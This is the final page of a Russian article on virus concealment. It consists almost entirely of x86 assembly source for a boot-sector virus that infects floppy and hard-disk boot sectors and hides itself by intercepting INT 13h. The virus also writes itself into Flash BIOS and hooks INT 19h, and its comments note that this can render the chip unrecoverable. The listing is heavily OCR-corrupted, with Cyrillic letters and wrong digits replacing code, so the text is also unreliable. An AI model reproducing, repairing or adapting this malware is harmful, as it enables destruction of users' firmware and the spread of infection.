Смекни!
smekni.com

Маскировка вирусов (стр. 5 из 5)

Исходный текст вируса, заражающего Flash BIOS.

;Вирус, заражающий Flash BIOS.

;Если на компьютере есть Flash BIOS, имеется шанс, что его могут
.серьезно испортить. Если BIOS изменится, это может привести
;к неприятностям. Нельзя будет загрузиться даже с "чистой"
;дискеты. Зараженный чип в рабочее состояние не вернуть.
огд О

;При входе в boot-сектор 01=загрузочный диск
mov si,7COOh

[Установим OOOOh в регистрах DS и ES
хог ах,ах
mov es.ax
mov ds.ax

.Установим значение стека OOOOh:7COOh
cli

mov ss.ax
mov sp.si
sti

;Уменьшим на 1Кбайт память (0040h:0013h)
dec word ptr [0413h]

;Получим размер памяти (при возврате в АХ)
int 12h

;Так как размер памяти указан в килобайтах (1024 байт), а нужно
;в параграфах (16 байт), умножим его на 64, что эквивалентно
;сдвигу на 6 разрядов влево

mov cl,6
shi ax.cl

.Установим новый сегмент вируса (вершина памяти)
mov es,ax

.Перенесем вирусный сектор в вершину памяти
xor di,di
mov cx,200h
eld
rep movsb

;Сохраним вектор прерывания INT 13h. Поскольку этот вирус
[загрузился до загрузки DOS, то прерывание INT 21 h еще не

работает - работаем с вектором прерывания прямо в таблице

mov ax.word ptr [13h*4]

mov word ptr es: [off set i13],ax

mov ax.word ptr [13h*4+2]

mov word ptr es: [offset i 13+2],ax

.Установим новый вектор прерывания INT 13h
mov word ptr [13h*4],offset Handler
mov word ptr [13h*4+2],es

[Переходим в точку ES:Restart (в копии вируса,
[находящейся в вершине памяти)
already_resident:

push es

mov ax,offset Restart

push ax

retf

;C этого места программа работает уже в вершине памяти
Restart:

[Загружаем оригинальный boot-сектор из конца
;root directory и передаем ему управление.
;Сброс дисковой подсистемы (перед работой
;с дисковой подсистемой надо выполнить
.функцию ООп прерывания INT 13h)

xor ах.ах

call int13h

[Подготовим регистры для загрузки оригинального boot-сектора

хог ах.ах

mov es,ax ;Сегмент для загрузки

mov bx,7COOh ;Смещение для загрузки

mov cx,0002h Дорожка 0, сектор 2

хог dh.dh ;Головка О

mov ax,0201h ;Функция 2, количество секторов 1

[Проверим диск, с которого грузимся. 80h и выше - жесткий диск,

;иначе - дискета. Копия оригинального boot-сектора хранится

;в разных местах: на жестком диске - дорожка 0, головка 0, сектор 2;

;на дискете - дорожка 0, головка 1, сектор 14

cmp dl,80h

jae MBR_Loader

;Грузимся с дискеты: изменим сектор и головку
mov с1,14 ;Сектор 14
mov dh,1 ;Головка 1

;3агрузим оригинальный boot-сектор по адресу OOOOh:7COOh
MBRJ-oader:

call int13h

.Сохраним в стеке номер диска, с которого грузимся
push dx

Проверим, заражен ли Flash BIOS
cmp byte ptr cs:flash_done,1
je Flash_resident

;3аразим Flash BIOS
call flash_BIOS

.Восстановим из стека DX (номер загрузочного диска)
Flash_resident:

pop dx

;3апускаем оригинальный boot-сектор (JMP FAR OOOOh:7COOh)
db OEAh
dw 7COOh
dw 0

;Сюда попадаем, когда происходит чтение boot-сектора. Скрываем
[Присутствие вируса методом чтения оригинального boot-сектора
Stealth:

Остановим значения сектора, где хранится копия оригинального
iboot-сектора

mov cx,02h

mov ax,0201h

[Проверим, откуда считан boot-сектор (дискета или жесткий диск),
;так как копии хранятся в разных местах

cmp dl,80h

jae hd_stealth

mov cl,14

mov dh,1
hd_stealth:

Прочтем копию оригинального boot-сектора. Так как
;номера секторов подменены, фактически "копия выдается
;за оригинал" - скрываем свое присутствие (Stealth).
call int13h

[Выходим из обработчика прерывания
jmp pop_exit

;Проверка наличия резидентного вируса - ответим:

;запрос INT 13h (AX=ABBAh), ответ AX=BMBh
resJest:

xchg ah,al

iret

.Обработчик прерывания INT 13h
Handler:

.Если при вызове в АХ находится ABBAh,
.значит это проверка наличия резидентного вируса

cmp ax.OABBAh

je resJest

[Перехватываем только функцию 02h (чтение сектора): проверяем
;номер функции. Если не 2, запускаем оригинальный обработчик

cmp ah,2

jne jend

[Проверяем номера дорожки и сектора, интересуясь только теми
.секторами, в которых может оказаться вирус -
;дорожка 0, головка 0, сектор 1

cmp cx,1

jne jend

[Проверим номер головки. Если не 0, то запустим
[Оригинальный обработчик

cmp dh,0

jne jend
tryJnfect:

;Считаем сектор в буфер (для дальнейшей обработки).
;Для этого вызовем оригинальный INT 13h

call int13h

jc jend

[Сохраним регистры и флаги (обработчик не должен изменить их)
pushf
push ax
push bx
push ex
push dx
push si
push di
push es
push ds

Проверяем, заражен ли данный диск вирусом: читаем сигнатуру.
;Если диск заражен, скрываем присутствие вируса

cmp word ptr es:[bx+offset marker],"LV"

je stealth

;Если диск не заражен, то заражаем: проверим, откуда загружен
;boot-ceKTOp (с дискеты или с жесткого диска)

cmp dl,80h

jb infect_floppy

.Установим номера дорожки, головки и сектора для жесткого
.диска для сохранения оригинального boot-сектора

mov cx,2

xor dh.dh

jmp write_virus
lnfect_Floppy:

;Установим номера дорожки, головки и сектора для дискеты
;для сохранения оригинального boot-сектора

mov сх,14

mov dh,1
Write_Virus:

Записываем оригинальный boot-сектор
mov ax,0301h
call int-lSh
jc pop_exit

;Установим сегментный регистр ES на сегмент с вирусом
push cs
pop es

;Сбросим флаг зараженности Flash BIOS
mov byte ptr cs:flash_done,0

;3апишем тело вируса в boot-сектор
xor bx,bx
mov ax,0301h
mov cx,0001h
xor dh.dh
call int13h

восстановим регистры и флаги (как раз те их значения, которые
[свидетельствует о том, что boot-сектор только что считали)
Pop_Exit:

pop ds

pop es

pop di

pop si

pop dx

pop ex

pop bx

pop ax

popf

[Выходим из обработчика в вызывающую программу
retf 2

;3апуск оригинального обработчика
J'end:

DD OEAh .Код команды JMP FAR

;0ригинальный вектор INT13h
i13 DD 0

;Вызов прерывания INT 13h
lnt13h proc near

pushf

call dword ptr cs:[i13]

ret
lnt13h endp

Первые два байта слова используются как сигнатура
Marker db "VLAD"

;Эта подпрограмма заражает Flash BIOS
Flash_BIOS Proc Near

Проверим наличие Flash BIOS
mov ax.OEOOOh
int 16h

jc no_flash_bios
cmp al.OFAh
jne no_flash_bios

;Сначала найдем хорошее место для хранения вируса.
Лросканируем память FOOOh-FFFFh, где обычно находится BIOS,
;на наличие области 1Кбайт нулей. Хватит даже 512 байт памяти,
;но выделить нужно с запасом
lnfect_Flash:

Остановим начальный сегмент для поиска
mov ax.OFOOOh
mov ds.ax

Проверим сегмент
New_segment:

Остановим стартовое смещение
xor si,si

Остановим счетчик найденных байт
;(величина свободного места для вируса)

xor dx.dx
ok_new_segment:

;Перейдем к следующему сегменту
inc ax
mov ds,ax

Проверим, есть ли еще место для вируса
cmp ax.OFFFOh
je no_flash_BIOS

;Проверим, свободно ли место (для скорости проверяем словами)
Test-16:

cmp word ptr [si],0

jne new_segment

;Увеличим счетчик размера найденного свободного места
• inc dx

Проверим, достаточно ли найденного места. Сравниваем с 1Кбайт, но
;так как память сканируем словами, сравниваем с 512 (1Кбайт=512 слов)

cmp dx,512

je found_storage

[Увеличим смещение проверяемого байта
inc si
inc si

;Сравним с 16. Переходим к следующему сегменту
;в начале каждого параграфа

cmp si,16

je ok_new_segment

jmp test16

;B эту точку попадаем, если место найдено
Found_storage:

Перейдем к началу зоны
sub ax,40h
mov ds.ax

.Получим требования к сохранению состояния чипа
mov ax,OE001h
int 16h

;Проверим, сколько памяти необходимо для сохранения состояния

;чипа. Если слишком много, не будем сохранять состояние

cmp bx,512

jbe save_chipset

;Установим флаг, показывающий, что состояние не сохраняли
mov byte ptr cs:chipset,1

[Перейдем к записи
jmp write_enable

;Сюда попадаем, если Flash BIOS не обнаружен:

записывать некуда - выходим
No_Flash_BIOS:

ret

[Сохраним состояние чипа
save_chipset:

[Установим флаг, показывающий, что состояние сохранили
mov byte ptr cs:chipset,0

.Сохраним состояние
mov al,2
push cs
pop es

mov di, offset buffer
int 16h

[Записываемся во Flash BIOS
write_enable:

[Повышаем напряжение
mov al,5
int 16h

;Разрешаем запись во Flash BIOS
mov al,7
int 16h

.Копируем 512 байт вируса во Flash BIOS
push ds
pop es
xor di.di
mov ex,512
push cs
pop ds
xor si,si
eld
rep movsb

;3десь нужна особая осторожность. lnt19h указывает на BIOS,
;позднее оно перехватывается различными программами.
.Если трассировать его, можно наткнуться на закрытую область
;или на сегмент 70h, но этого не будет при загрузке. Понятно,
;что это единственное удачное время для выполнения вируса.
;Все, что нужно - "внедриться" в int19h.
;Можно перехватить его в том месте, где находится
сохраненная таблица векторов, но сделаем интереснее.
.Получим смещение оригинального обработчика int19h
mov bx.es ;ВХ=сегмент вируса
xor ах.ах

mov ds.ax ;DS=Ta6nHua векторов
mov di.word ptr [19h*4] ;Смещение INT 19h
mov es.word ptr [19h*4+2] ;Сегмент INT 19h

;3апишем JMP FAR по адресу точки входа в INT 19h
mov al.OEAh
stosb

mov ax,offset int19handler
stosw

mov ax.bx
stosw

.Понизим напряжение
mov ax,OE004h
int 16h

;3ащитим Flash BIOS от записи
mov al,6
int 16h

;Проверим, сохранялось ли состояние чипа, если нет - выходим
cmp byte ptr cs:chipset,0
jne No_Flash_BIOS

.Восстановим состояние чипа
push cs
pop es
mov al,3

mov di, offset buffer
int 16h
jmp No_Flash_BIOS

;Флаг несохранения состояния чипа
chipset db 0

;Флаг присутствия вируса во Flash BIOS
flash_done db 0

;Наш обработчик INT 19h.
lnt19Handler Proc Near

;Установим сегментный регистр ES в ноль
хог ах.ах
mov es.ax

[Проверим наличие резидентного вируса
mov ax.OABBAh
int 13h

;Если вирус присутствует, то запускаем оригинальный
[обработчик прерывания INT 19h

cmp ax.OBAABh

jne realJnt19h

[Перенесем вирус из BIOS в boot-буфер
push cs
pop ds

eld

xor si,si

mov di,7c00h

mov ex,512

rep movsb

;3апустим вирус в boot-буфере

mov dl,80h

jmp goto_Buffer
Real_int19h:

;Произведем сброс дисковой подсистемы
xor ax,ax
int 13h

Лроинициализируем значения регистров для загрузки boot-сектора
mov ex, 1
mov dh,0
mov ax,0201h
mov bx,7COOh

.Проверим, откуда грузимся: если DL не нулевой,
;переходим к загрузке с жесткого диска

cmp dl,0

J'a hd_int19h

;Прочтем boot-сектор с дискеты. Если при чтении происходит
;ошибка, то читаем с жесткого диска

int 13h

jc fix_hd

Остановим флаг, показывающий присутствие вируса во Flash BIOS
Goto_Buffer:

mov byte ptr es:[7COOh+offset flash_done],1

;3апустим boot-сектор, находящийся в boot-буфере

db OEAh ;Код команды JMP FAR

dw 7c00h

dw 0
Fix_HD:

[Установим номер диска для загрузки (диск С)

mov dl,80h
HD_lnt19h:

Произведем сброс дисковой подсистемы
хог ах,ах
int 13h

.Прочтем boot-сектор
mov ax,0201h
int 13h
jc Boot
jmp Goto_Buffer

;Если не удалось загрузить boot-сектор,
.вызываем прерывание INT 18h
Boot:

int 18h
lnt19Handler EndP
Flash_BIOS EndP
End_Virus:

;Размер области памяти, необходимый для дополнения
;размера вируса до 510 байт
DupSize equ 510-offset End_Virus

Заполнение незанятой вирусом части сектора
db DupSize dup (0)
db 55h,0aah

;Место для сохранения состояния чипа
Buffer: